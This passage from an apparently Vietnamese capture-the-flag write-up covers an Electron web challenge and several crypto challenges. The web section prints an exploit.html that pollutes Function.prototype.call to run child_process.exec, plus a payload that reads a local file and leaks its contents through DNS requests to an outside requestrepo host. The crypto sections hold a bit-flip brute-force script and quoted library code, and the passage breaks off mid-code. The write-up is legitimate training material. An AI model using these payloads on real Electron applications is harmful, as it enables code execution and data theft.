<p>Nên hiện tại ta vẫn chưa thể XSS được.</p>
<h3 id="heading-nhung-gi-da-co">Những gì đã có</h3>
<p>Sau đây là những gì quan trọng ta đã kiếm được sau quá trình phân tích:</p>
<ul>
<li><p>Có thể upload file với extension hoàn toàn do ta kiểm soát</p>
</li>
<li><p>Có thể kiểm soát <code>src</code> trong iframe của trang bot mở khi có report, tuy nhiên vì firewall chặn không cho ra mạng nên ta vẫn chưa thể XSS</p>
</li>
<li><p>Có thể popup được notification window ( hay còn được biết là trigger được event <code>CreateViewer</code>, nhưng vì CSP nên vẫn chưa thể XSS</p>
</li>
</ul>
<h3 id="heading-xss">XSS</h3>
<p>Từ những dữ liệu đã có ở trên ta hoàn toàn có thể tấn công XSS thành công.<br />Tại main window thì <code>iframe</code> sẽ ra sao nếu ta cho <code>iframe</code> hiển thị nội dung của file html trong local?<br />Tại notification window sẽ ra sao nếu ta cho trang web redirect về file html trong local?<br />Kết hợp với dữ kiện ở trên là ta có thể upload file với nội dung bất kì lên server cùng với việc extension của file sẽ hoàn toàn do ta kiểm soát.<br />Khi này trang web sẽ hoàn toàn do ta kiểm soát.<br />Luồng khai thác tại đây sẽ như sau:</p>
<ul>
<li><p>Upload malicous html file với extension là html</p>
</li>
<li><p>Tạo ticket với content chứa meta tag redirect về file ta vừa upload trên server (<code>file:///tmp/&lt;uuid&gt;.html</code>)</p>
<ul>
<li><p>Khi này tại main window thì ta cho truy cập vào <code>/isNew</code> endpoint cùng với <code>id</code> của tiket ta vừa tạo ở trên.</p>
</li>
<li><p>Còn tại notification window thì ta chỉ cần report là được</p>
</li>
</ul>
</li>
</ul>
<p>Khi này ta đã XSS được cả 2 window là main window và notification window</p>
<h3 id="heading-electron">Electron</h3>
<p>Mình đề xuất video sau để tham khảo về XSS -&gt; RCE trong Electron, nếu bạn chưa viết về Electron: <a target="_blank" href="https://youtu.be/Tzo8ucHA5xw?si=Ac-sDASQuJ2Nguox">https://youtu.be/Tzo8ucHA5xw?si=Ac-sDASQuJ2Nguox</a></p>
<p>Ngoài ra bạn cũng có thể đọc bài viết bằng Tiếng Việt sau:<br /><a target="_blank" href="https://nhienit.wordpress.com/2023/06/26/cve-2022-3133-draw-io-xss-leads-to-rce/">https://nhienit.wordpress.com/2023/06/26/cve-2022-3133-draw-io-xss-leads-to-rce/</a></p>
<p>Ta xét qua config của main window:<br /><code>main window</code></p>
<p><img src="https://hackmd.io/_uploads/S1nJqPUcp.png" alt="image" /></p>
<p><code>notification window</code></p>
<p><img src="https://hackmd.io/_uploads/SkwZqPL5p.png" alt="image" /></p>
<p>Ta thấy rõ rằng <code>webPreferences</code> của <code>notification window</code> có vấn đề khi <code>sandbox</code> là <code>false</code> và <code>contextIsolation</code> cũng là <code>false</code>. Ta có thể tấn công theo kiểu <code>prototype pollution</code> như trong video ở trên mình đề xuất thì ta sẽ khai thác như sau:</p>
<p><img src="https://hackmd.io/_uploads/HkiRhFIqT.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/r1e1atL5T.png" alt="image" /></p>
<p><code>exploit.html</code></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">const</span> orgCall = <span class="hljs-built_in">Function</span>.prototype.call;
    <span class="hljs-built_in">Function</span>.prototype.call = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">...args</span>)</span>{
        <span class="hljs-keyword">if</span>(args[<span class="hljs-number">3</span>] &amp;&amp; args[<span class="hljs-number">3</span>].name == <span class="hljs-string">"__webpack_require__"</span>){
            <span class="hljs-built_in">window</span>.__webpack_require__ = args[<span class="hljs-number">3</span>];
            <span class="hljs-built_in">Function</span>.prototype.call = orgCall
            __webpack_require__(<span class="hljs-string">'module'</span>)._load(<span class="hljs-string">"child_process"</span>).exec(<span class="hljs-string">"/flag &gt; /app/server/static/flag_chanze.txt"</span>)
        }
        <span class="hljs-keyword">return</span> orgCall.apply(<span class="hljs-built_in">this</span>,args);
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Các bước khai thác:</p>
<ul>
<li><p>Tạo acc để bypass admin và đăng nhập</p>
</li>
<li><p>Upload file exploit.html</p>
</li>
<li><p>Tạo ticket với title <code>&lt;meta http-equiv="refresh" content="1;url=</code>[<code>file:///tmp/&lt;uuid&gt;.html</code>](file:///tmp/.html)<code>"&gt;</code></p>
</li>
<li><p>Report tới admin</p>
</li>
<li><p>Truy cập vào static/flag_chanze.txt để lấy flag</p>
</li>
</ul>
<p>Ngoài ra còn hướng khai thác khác được giới thiệu trong discord sau khi giải end:</p>
<p><img src="https://hackmd.io/_uploads/SJZT-9L96.png" alt="image" /></p>
<p><code>leak_dns.html</code></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">

fetch(<span class="hljs-string">"file:///flag"</span>).then(<span class="hljs-function"><span class="hljs-params">r</span> =&gt;</span> r.text()).then(<span class="hljs-function"><span class="hljs-params">r</span> =&gt;</span> r.match(<span class="hljs-regexp">/TetCTF\{(.*?)\}/</span>)[<span class="hljs-number">1</span>]).then(<span class="hljs-function"><span class="hljs-params">flag</span> =&gt;</span>(fetch(<span class="hljs-string">`http://<span class="hljs-subst">${flag}</span>.fgabdckk.requestrepo.com`</span>)))

</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Ta có thể khai thác theo hướng này tuy nhiên kết quả sẽ bị đưa về <code>lowercase</code> hết</p>
<p><img src="https://hackmd.io/_uploads/H1nOj9Lcp.png" alt="image" /></p>
<h3 id="heading-honorable-mention">Honorable Mention</h3>
<ul>
<li><a target="_blank" href="https://hackmd.io/@CaRZODiyRTmwgiK0D4Rf8A/r1IE7VBcp">Write Up X Ét Ét</a> (credit: Ngọc Trần)</li>
</ul>
<h1 id="heading-crypto"><strong>Crypto</strong></h1>
<h2 id="heading-flip">flip</h2>
<p><strong><em>credit: nomorecaffeine</em></strong></p>
<h3 id="heading-y-tuong">Ý tưởng</h3>
<p>Đề bài cho ta một file elf để encrypt aes và một file python</p>
<p>Nhiệm vụ của file python là cho phép ta sửa lại 1 byte của file elf.</p>
<pre><code class="lang-python">    <span class="hljs-comment"># input format: hex(plaintext) i j</span>
    <span class="hljs-keyword">try</span>:
        plaintext_hex, i_str, j_str = input().split()
        pt = bytes.fromhex(plaintext_hex)
        <span class="hljs-keyword">assert</span> len(pt) == <span class="hljs-number">16</span>
        i = int(i_str)
        <span class="hljs-keyword">assert</span> <span class="hljs-number">0</span> &lt;= i &lt; len(content)
        j = int(j_str)
        <span class="hljs-keyword">assert</span> <span class="hljs-number">0</span> &lt;= j &lt; <span class="hljs-number">8</span>
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> err:
        print(err, file=sys.stderr)
        <span class="hljs-comment"># ban_client()</span>
        <span class="hljs-keyword">return</span>

    <span class="hljs-comment"># update key, plaintext, and inject the fault</span>
    content[OFFSET_KEY:OFFSET_KEY + <span class="hljs-number">16</span>] = key
    content[OFFSET_PLAINTEXT:OFFSET_PLAINTEXT + <span class="hljs-number">16</span>] = pt
    content[i] ^= (<span class="hljs-number">1</span> &lt;&lt; j) <span class="hljs-comment"># sửa 1 byte</span>
</code></pre>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">int</span> __cdecl <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  <span class="hljs-keyword">char</span> v4[<span class="hljs-number">200</span>]; <span class="hljs-comment">// [rsp+0h] [rbp-D0h] BYREF</span>
  <span class="hljs-keyword">unsigned</span> __int64 v5; <span class="hljs-comment">// [rsp+C8h] [rbp-8h]</span>

  v5 = __readfsqword(<span class="hljs-number">0x28</span>u);
  AES_init_ctx((__int64)v4, (__int64)&amp;key);
  AES_ECB_encrypt((__int64)v4, (__int64)&amp;plaintext);
  write(<span class="hljs-number">1</span>, &amp;plaintext, <span class="hljs-number">0x10</span>uLL);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Ta chú ý <code>content[i] ^= (1 &lt;&lt; j) # sửa 1 byte</code> ta có thể sửa 1 byte tuỳ ý.</p>
<p>Đến đây ta có 2 hướng:</p>
<ul>
<li><p>sửa size 0x10 thành size &gt; 0x20 để có thể in ra cả key (vì biến plaintext và key nằm cạnh nhau)</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706614399026/be737feb-738a-47f2-a5c2-cf13ee798bb0.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>sửa địa chỉ plaintext thành key</p>
</li>
</ul>
<h3 id="heading-khai-thac">Khai thác</h3>
<p>Bằng cách dùng debug mình biết được i là 0x11b9+1=4538 chính là byte 0x10</p>
<p><img src="https://hackmd.io/_uploads/S11EU7rqT.png" alt="image" /></p>
<p>Và mình tìm j = 5</p>
<pre><code class="lang-python"><span class="hljs-meta">&gt;&gt;&gt; </span>hex(<span class="hljs-number">0x10</span> ^ (<span class="hljs-number">1</span> &lt;&lt; <span class="hljs-number">5</span>))
<span class="hljs-string">'0x30'</span>
</code></pre>
<h3 id="heading-ket-qua">Kết quả</h3>
<p><img src="https://hackmd.io/_uploads/HyTE8mB56.png" alt="image" /></p>
<h2 id="heading-flip-v2"><strong>flip v2</strong></h2>
<p><strong><em>credit: nomorecaffeine</em></strong></p>
<p>Tương tự như bài trên nhưng bây giờ ta không được phép flip bit tại hàm <code>main()</code></p>
<pre><code class="lang-python"><span class="hljs-comment"># input format: hex(plaintext) i j</span>
<span class="hljs-keyword">try</span>:
    plaintext_hex, i_str, j_str = input().split()
    pt = bytes.fromhex(plaintext_hex)
    <span class="hljs-keyword">assert</span> len(pt) == <span class="hljs-number">16</span>
    i = int(i_str)
    <span class="hljs-keyword">assert</span> <span class="hljs-number">0</span> &lt;= i &lt; len(content)
    <span class="hljs-keyword">assert</span> <span class="hljs-keyword">not</span> OFFSET_MAIN_START &lt;= i &lt; OFFSET_MAIN_END
    j = int(j_str)
    <span class="hljs-keyword">assert</span> <span class="hljs-number">0</span> &lt;= j &lt; <span class="hljs-number">8</span>
<span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> err:
    print(err, file=sys.stderr)
    <span class="hljs-comment"># ban_client()</span>
    <span class="hljs-keyword">return</span>
</code></pre>
<p>Vì không có ý tưởng gì kết hợp với việc nhận thấy các giá trị co thể dẫn đến việc thay đổi kết quả của file elf trong khoảng có thể bruteforce (<code>0x11ED -&gt; 0x2395</code>). Nên quyết định dựng local và lấy output về phân tích với <code>key = b'aaaaaaaaaaaaaaaa'</code></p>
<pre><code class="lang-python">start = <span class="hljs-number">0x11ED</span>
end = <span class="hljs-number">0x2395</span> 

re_ct = <span class="hljs-string">''</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0x11ED</span>, <span class="hljs-number">0x2395</span>):
    <span class="hljs-keyword">if</span> OFFSET_MAIN_START &lt;= i &lt; OFFSET_MAIN_END:
        <span class="hljs-keyword">continue</span>
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
        conn = remote(<span class="hljs-string">'localhost'</span>, <span class="hljs-number">31339</span>)
        pt = <span class="hljs-string">'a'</span>*<span class="hljs-number">32</span>
        to_send = pt + <span class="hljs-string">' '</span> + str(i) + <span class="hljs-string">' '</span> + str(j)
        conn.sendline(to_send.encode())
        <span class="hljs-keyword">try</span>:
            ct = conn.recvline().strip().decode()
            <span class="hljs-keyword">if</span> ct != re_ct:
                re_ct = ct
                print(ct)
                f = open(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'a'</span>)
                f.writelines(str([i, j, ct]) + <span class="hljs-string">'\n'</span>)
                f.close()
        <span class="hljs-keyword">except</span>:
            <span class="hljs-keyword">pass</span>
        conn.close()
</code></pre>
<p>Trong lúc xem qua file thì nhận thấy một số output khá đặc biệt như sau:</p>
<ul>
<li>Trả về 32 bytes</li>
</ul>
<pre><code class="lang-python">[<span class="hljs-number">4452</span>, <span class="hljs-number">0</span>, <span class="hljs-string">'b49144452613952f3fa727f6875acf484d2803e7297ee8cb8d0bfdd2823f4de5'</span>]
</code></pre>
<ul>
<li>Trả về null byte</li>
</ul>
<pre><code class="lang-python">[<span class="hljs-number">5264</span>, <span class="hljs-number">3</span>, <span class="hljs-string">'b49144452613952f3fa727f6875acf48'</span>]
[<span class="hljs-number">5295</span>, <span class="hljs-number">6</span>, <span class="hljs-string">''</span>]
[<span class="hljs-number">5297</span>, <span class="hljs-number">1</span>, <span class="hljs-string">'b49144452613952f3fa727f6875acf48'</span>]
[<span class="hljs-number">5298</span>, <span class="hljs-number">7</span>, <span class="hljs-string">''</span>]
</code></pre>
<ul>
<li>Trả về các byte giống hệt nhau</li>
</ul>
<pre><code class="lang-python">[<span class="hljs-number">5463</span>, <span class="hljs-number">1</span>, <span class="hljs-string">'cbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcb'</span>]
[<span class="hljs-number">5465</span>, <span class="hljs-number">0</span>, <span class="hljs-string">'f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0'</span>]
[<span class="hljs-number">5466</span>, <span class="hljs-number">4</span>, <span class="hljs-string">'f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0'</span>]
[<span class="hljs-number">5468</span>, <span class="hljs-number">7</span>, <span class="hljs-string">'89898989898989898989898989898989'</span>]
</code></pre>
<p>Trường hợp cuối cùng là khả thi nhất để khai thác. Vì key là <code>b'aaaaaaaaaaaaaaaa'</code> và plaintext nhập vào là <code>b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'</code> . Vậy nên những output đó có thể là <code>plaintext ^ key</code></p>
<pre><code class="lang-python"><span class="hljs-meta">&gt;&gt;&gt; </span><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> xor
<span class="hljs-meta">&gt;&gt;&gt; </span>key = <span class="hljs-string">b'aaaaaaaaaaaaaaaa'</span>
<span class="hljs-meta">&gt;&gt;&gt; </span>pt = <span class="hljs-string">b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'</span>
<span class="hljs-meta">&gt;&gt;&gt; </span>xor(pt, key)
<span class="hljs-string">b'\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb'</span>
<span class="hljs-meta">&gt;&gt;&gt; </span>xor(pt, key).hex()
<span class="hljs-string">'cbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcb'</span>
</code></pre>
<p>Nhận thấy trường hợp output tại <code>i = 5463</code> và <code>j = 1</code> thỏa mãn giả thiết mình đặt ra nên mình thử trên server và ….</p>
<p><img src="https://hackmd.io/_uploads/HkIR6mB9p.png" alt="image" /></p>
<h2 id="heading-adapt">adapt</h2>
<p><strong><em>credit: Uyen</em></strong></p>
<ul>
<li><p>Author: ndh</p>
</li>
<li><p>Description: Adaptive chosen-message attack against ECDSA.</p>
</li>
<li><p>Server: nc 139.162.24.230 31337</p>
</li>
<li><p>Material:</p>
</li>
</ul>
<p>Đề cho source <code>main.go</code> như sau:</p>
<pre><code class="lang-go"><span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> (
    <span class="hljs-string">"crypto/ecdsa"</span>
    <span class="hljs-string">"crypto/elliptic"</span>
    <span class="hljs-string">"crypto/rand"</span>
    <span class="hljs-string">"crypto/sha256"</span>
    <span class="hljs-string">"encoding/base64"</span>
    <span class="hljs-string">"encoding/json"</span>
    <span class="hljs-string">"fmt"</span>
    <span class="hljs-string">"github.com/cosmos/iavl"</span>
    db <span class="hljs-string">"github.com/tendermint/tm-db"</span>
    <span class="hljs-string">"log"</span>
    <span class="hljs-string">"math/big"</span>
    <span class="hljs-string">"os"</span>
)

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
    <span class="hljs-comment">// gen a keypair</span>
    seckey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        log.Panicf(<span class="hljs-string">"could not generate ecdsa key: %v"</span>, err)
    }
    fmt.Println(seckey.X, seckey.Y)

    <span class="hljs-comment">// init a mutable tree</span>
    tree, err := iavl.NewMutableTree(db.NewMemDB(), <span class="hljs-number">256</span>, <span class="hljs-literal">false</span>)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        log.Panicf(<span class="hljs-string">"failed to create a mutable tree: %v"</span>, err)
    }

    <span class="hljs-keyword">var</span> msgB64 <span class="hljs-keyword">string</span>
    <span class="hljs-keyword">var</span> msg []<span class="hljs-keyword">byte</span>
    <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">2024</span>; i++ {
        <span class="hljs-comment">// read message</span>
        <span class="hljs-keyword">if</span> _, err := fmt.Scan(&amp;msgB64); err != <span class="hljs-literal">nil</span> { <span class="hljs-comment">// disconnection</span>
            <span class="hljs-keyword">return</span>
        }
        <span class="hljs-keyword">if</span> msgB64 == <span class="hljs-string">"."</span> { <span class="hljs-comment">// enough message-signature pairs</span>
            <span class="hljs-keyword">break</span>
        }
        <span class="hljs-keyword">if</span> msg, err = base64.StdEncoding.DecodeString(msgB64); err != <span class="hljs-literal">nil</span> { <span class="hljs-comment">// invalid input</span>
            <span class="hljs-keyword">return</span>
        }

        <span class="hljs-comment">// mark as seen</span>
        _, err := tree.Set(msg, []<span class="hljs-keyword">byte</span>{})
        <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
            log.Panicf(<span class="hljs-string">"tree operation failed: %v"</span>, err)
        }

        <span class="hljs-comment">// send back the signature</span>
        digest := sha256.Sum256(msg)
        r, s, err := ecdsa.Sign(rand.Reader, seckey, digest[:])
        <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
            log.Panicf(<span class="hljs-string">"could not sign: %v"</span>, err)
        }
        fmt.Println(r, s)
    }

    <span class="hljs-comment">// To get flag, submit a signature for "Please give me flag" and a proof that the message has not been seen.</span>
    <span class="hljs-comment">// Note that the proof can be obtained via `tree.GetWithProof`.</span>
    <span class="hljs-keyword">var</span> r, s big.Int
    <span class="hljs-keyword">var</span> proofB64 <span class="hljs-keyword">string</span>
    <span class="hljs-keyword">var</span> proofJson []<span class="hljs-keyword">byte</span>
    <span class="hljs-keyword">var</span> proof iavl.RangeProof
    <span class="hljs-keyword">if</span> _, err := fmt.Scan(&amp;r, &amp;s, &amp;proofB64); err != <span class="hljs-literal">nil</span> { <span class="hljs-comment">// disconnection</span>
        <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">if</span> proofJson, err = base64.StdEncoding.DecodeString(proofB64); err != <span class="hljs-literal">nil</span> { <span class="hljs-comment">// invalid input</span>
        <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">if</span> err := json.Unmarshal(proofJson, &amp;proof); err != <span class="hljs-literal">nil</span> { <span class="hljs-comment">// invalid input</span>
        <span class="hljs-keyword">return</span>
    }

    <span class="hljs-comment">// verify the signature</span>
    target := []<span class="hljs-keyword">byte</span>(<span class="hljs-string">"Please give me flag"</span>)
    digest := sha256.Sum256(target)
    <span class="hljs-keyword">if</span> !ecdsa.Verify(&amp;seckey.PublicKey, digest[:], &amp;r, &amp;s) { <span class="hljs-comment">// invalid signature</span>
        <span class="hljs-keyword">return</span>
    }

    <span class="hljs-comment">// verify the non-membership proof</span>
    root, err := tree.WorkingHash()
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        log.Panicf(<span class="hljs-string">"failed to fetch tree root: %v"</span>, err)
    }
    <span class="hljs-keyword">if</span> err := proof.Verify(root); err != <span class="hljs-literal">nil</span> { <span class="hljs-comment">// invalid proof</span>
        <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">if</span> err := proof.VerifyAbsence(target); err != <span class="hljs-literal">nil</span> { <span class="hljs-comment">// invalid proof</span>
        <span class="hljs-keyword">return</span>
    }

    <span class="hljs-comment">// OK</span>
    flag, err := os.ReadFile(<span class="hljs-string">"secret/flag.txt"</span>)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        log.Panicf(<span class="hljs-string">"could not read flag: %v"</span>, err)
    }
    fmt.Println(<span class="hljs-keyword">string</span>(flag))
    log.Println(&amp;r, &amp;s, <span class="hljs-keyword">string</span>(proofJson))
}
</code></pre>
<p>Khi kết nối thành công thì server sẽ gửi về ECDSA public key và cho phép user gửi tối đa 1024 message bất kì, server sẽ sign và gửi về signature là một cặp số (r, s) cho tương ứng với message đó. Nếu user biết signature của "Please give me flag" thì server sẽ trả về flag.</p>
<p>Lưu ý là server không cấm user gửi "Please give me flag", và dùng iavl non-membership proof để chứng minh trong số message user đã gửi không có "Please give me flag". Vậy mình sẽ gửi "Please give me flag" để pass cái <code>ecdsa.Verify</code> và tìm cách bypass <code>proof.Verify</code> và <code>proof.VerifyAbsence</code>.</p>
<p>Core của <code>proof.Verify</code> như sau, mục đích của hàm này là calculate roothash từ provided proof và so sánh với roothash ở phía server, RangeProof cho phép verify nhiều leaves trong một proof nhờ đệ quy <code>COMPUTEHASH</code>, should check it.</p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(proof *RangeProof)</span> _<span class="hljs-title">computeRootHash</span><span class="hljs-params">()</span> <span class="hljs-params">(rootHash []<span class="hljs-keyword">byte</span>, treeEnd <span class="hljs-keyword">bool</span>, err error)</span></span> {
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(proof.Leaves) == <span class="hljs-number">0</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, <span class="hljs-literal">false</span>, errors.Wrap(ErrInvalidProof, <span class="hljs-string">"no leaves"</span>)
    }
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(proof.InnerNodes)+<span class="hljs-number">1</span> != <span class="hljs-built_in">len</span>(proof.Leaves) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, <span class="hljs-literal">false</span>, errors.Wrap(ErrInvalidProof, <span class="hljs-string">"InnerNodes vs Leaves length mismatch, leaves should be 1 more."</span>) <span class="hljs-comment">//nolint:revive</span>
    }

    <span class="hljs-comment">// Start from the left path and prove each leaf.</span>

    <span class="hljs-comment">// shared across recursive calls</span>
    <span class="hljs-keyword">var</span> leaves = proof.Leaves
    <span class="hljs-keyword">var</span> innersq = proof.InnerNodes
    <span class="hljs-keyword">var</span> COMPUTEHASH <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(path PathToLeaf, rightmost <span class="hljs-keyword">bool</span>)</span> <span class="hljs-params">(hash []<span class="hljs-keyword">byte</span>, treeEnd <span class="hljs-keyword">bool</span>, done <span class="hljs-keyword">bool</span>, err error)</span></span>

    <span class="hljs-comment">// rightmost: is the root a rightmost child of the tree?</span>
    <span class="hljs-comment">// treeEnd: true iff the last leaf is the last item of the tree.</span>
    <span class="hljs-comment">// Returns the (possibly intermediate, possibly root) hash.</span>
    COMPUTEHASH = <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(path PathToLeaf, rightmost <span class="hljs-keyword">bool</span>)</span> <span class="hljs-params">(hash []<span class="hljs-keyword">byte</span>, treeEnd <span class="hljs-keyword">bool</span>, done <span class="hljs-keyword">bool</span>, err error)</span></span> {

        <span class="hljs-comment">// Pop next leaf.</span>
        nleaf, rleaves := leaves[<span class="hljs-number">0</span>], leaves[<span class="hljs-number">1</span>:]
        leaves = rleaves

        <span class="hljs-comment">// Compute hash.</span>
        hash, err = (pathWithLeaf{
            Path: path,
            Leaf: nleaf,
        }).computeRootHash()

        <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, treeEnd, <span class="hljs-literal">false</span>, err
        }

        <span class="hljs-comment">// If we don't have any leaves left, we're done.</span>
        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(leaves) == <span class="hljs-number">0</span> {
            rightmost = rightmost &amp;&amp; path.isRightmost()
            <span class="hljs-keyword">return</span> hash, rightmost, <span class="hljs-literal">true</span>, <span class="hljs-literal">nil</span>
        }

        <span class="hljs-comment">// Prove along path (until we run out of leaves).</span>
        <span class="hljs-keyword">for</span> <span class="hljs-built_in">len</span>(path) &gt; <span class="hljs-number">0</span> {

            <span class="hljs-comment">// Drop the leaf-most (last-most) inner nodes from path</span>
            <span class="hljs-comment">// until we encounter one with a left hash.</span>
            <span class="hljs-comment">// We assume that the left side is already verified.</span>
            <span class="hljs-comment">// rpath: rest of path</span>
            <span class="hljs-comment">// lpath: last path item</span>
            rpath, lpath := path[:<span class="hljs-built_in">len</span>(path)<span class="hljs-number">-1</span>], path[<span class="hljs-built_in">len</span>(path)<span class="hljs-number">-1</span>]
            path = rpath
            <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(lpath.Right) == <span class="hljs-number">0</span> {
                <span class="hljs-keyword">continue</span>
            }

            <span class="hljs-comment">// Pop next inners, a PathToLeaf (e.g. []ProofInnerNode).</span>
            inners, rinnersq := innersq[<span class="hljs-number">0</span>], innersq[<span class="hljs-number">1</span>:]
            innersq = rinnersq

            <span class="hljs-comment">// Recursively verify inners against remaining leaves.</span>
            derivedRoot, treeEnd, done, err := COMPUTEHASH(inners, rightmost &amp;&amp; rpath.isRightmost())
            <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, treeEnd, <span class="hljs-literal">false</span>, errors.Wrap(err, <span class="hljs-string">"recursive COMPUTEHASH call"</span>)
            }

            <span class="hljs-keyword">if</span> !bytes.Equal(derivedRoot, lpath.Right) {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, treeEnd, <span class="hljs-literal">false</span>, errors.Wrapf(ErrInvalidRoot, <span class="hljs-string">"intermediate root hash %X doesn't match, got %X"</span>, lpath.Right, derivedRoot)
            }

            <span class="hljs-keyword">if</span> done {
                <span class="hljs-keyword">return</span> hash, treeEnd, <span class="hljs-literal">true</span>, <span class="hljs-literal">nil</span>
            }
        }

        <span class="hljs-comment">// We're not done yet (leaves left over). No error, not done either.</span>
        <span class="hljs-comment">// Technically if rightmost, we know there's an error "left over leaves</span>
        <span class="hljs-comment">// -- malformed proof", but we return that at the top level, below.</span>
        <span class="hljs-keyword">return</span> hash, <span class="hljs-literal">false</span>, <span class="hljs-literal">false</span>, <span class="hljs-literal">nil</span>
    }

    <span class="hljs-comment">// Verify!</span>
    path := proof.LeftPath
    rootHash, treeEnd, done, err := COMPUTEHASH(path, <span class="hljs-literal">true</span>)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, treeEnd, errors.Wrap(err, <span class="hljs-string">"root COMPUTEHASH call"</span>)
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> !done {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, treeEnd, errors.Wrap(ErrInvalidProof, <span class="hljs-string">"left over leaves -- malformed proof"</span>)
    }

    <span class="hljs-comment">// Ok!</span>
    <span class="hljs-keyword">return</span> rootHash, treeEnd, <span class="hljs-literal">nil</span>
}
</code></pre>
<p>Sau khi check root thành công rồi <code>proof.VerifyAbsence</code> sẽ check target key có nằm trong tree không, như code bên dưới. Lưu ý là iavl sắp xếp các leaves theo một thứ tự xác định (tăng dần). Như vậy để prove target key không có trong tree thì:</p>
<ul>
<li><p>TH1: <code>key &lt; Leaves[0].Key</code> và <code>Leaves[0].Key</code> là leaf bên trái ngoài cùng</p>
</li>
<li><p>Hoặc, TH2: <code>Leaves[0].Key &lt; key</code> và <code>Leaves[0].Key</code> là leaf bên phải ngoài cùng</p>
</li>
<li><p>Hoặc, TH3: <code>Leaves[0].Key &lt; key</code> và những <code>Leaves[i]</code> khác thoả <code>key &lt; Leaves[i].Key</code></p>
</li>
</ul>
<pre><code class="lang-go"><span class="hljs-comment">// Verify that proof is valid absence proof for key.</span>
<span class="hljs-comment">// Does not assume that the proof itself is valid.</span>
<span class="hljs-comment">// For that, use Verify(root).</span>
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(proof *RangeProof)</span> <span class="hljs-title">VerifyAbsence</span><span class="hljs-params">(key []<span class="hljs-keyword">byte</span>)</span> <span class="hljs-title">error</span></span> {
    <span class="hljs-keyword">if</span> proof == <span class="hljs-literal">nil</span> {
        <span class="hljs-keyword">return</span> errors.Wrap(ErrInvalidProof, <span class="hljs-string">"proof is nil"</span>)
    }
    <span class="hljs-keyword">if</span> !proof.rootVerified {
        <span class="hljs-keyword">return</span> errors.New(<span class="hljs-string">"must call Verify(root) first"</span>)
    }
    cmp := bytes.Compare(key, proof.Leaves[<span class="hljs-number">0</span>].Key)
    <span class="hljs-keyword">if</span> cmp &lt; <span class="hljs-number">0</span> {
        <span class="hljs-keyword">if</span> proof.LeftPath.isLeftmost() {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>
        }
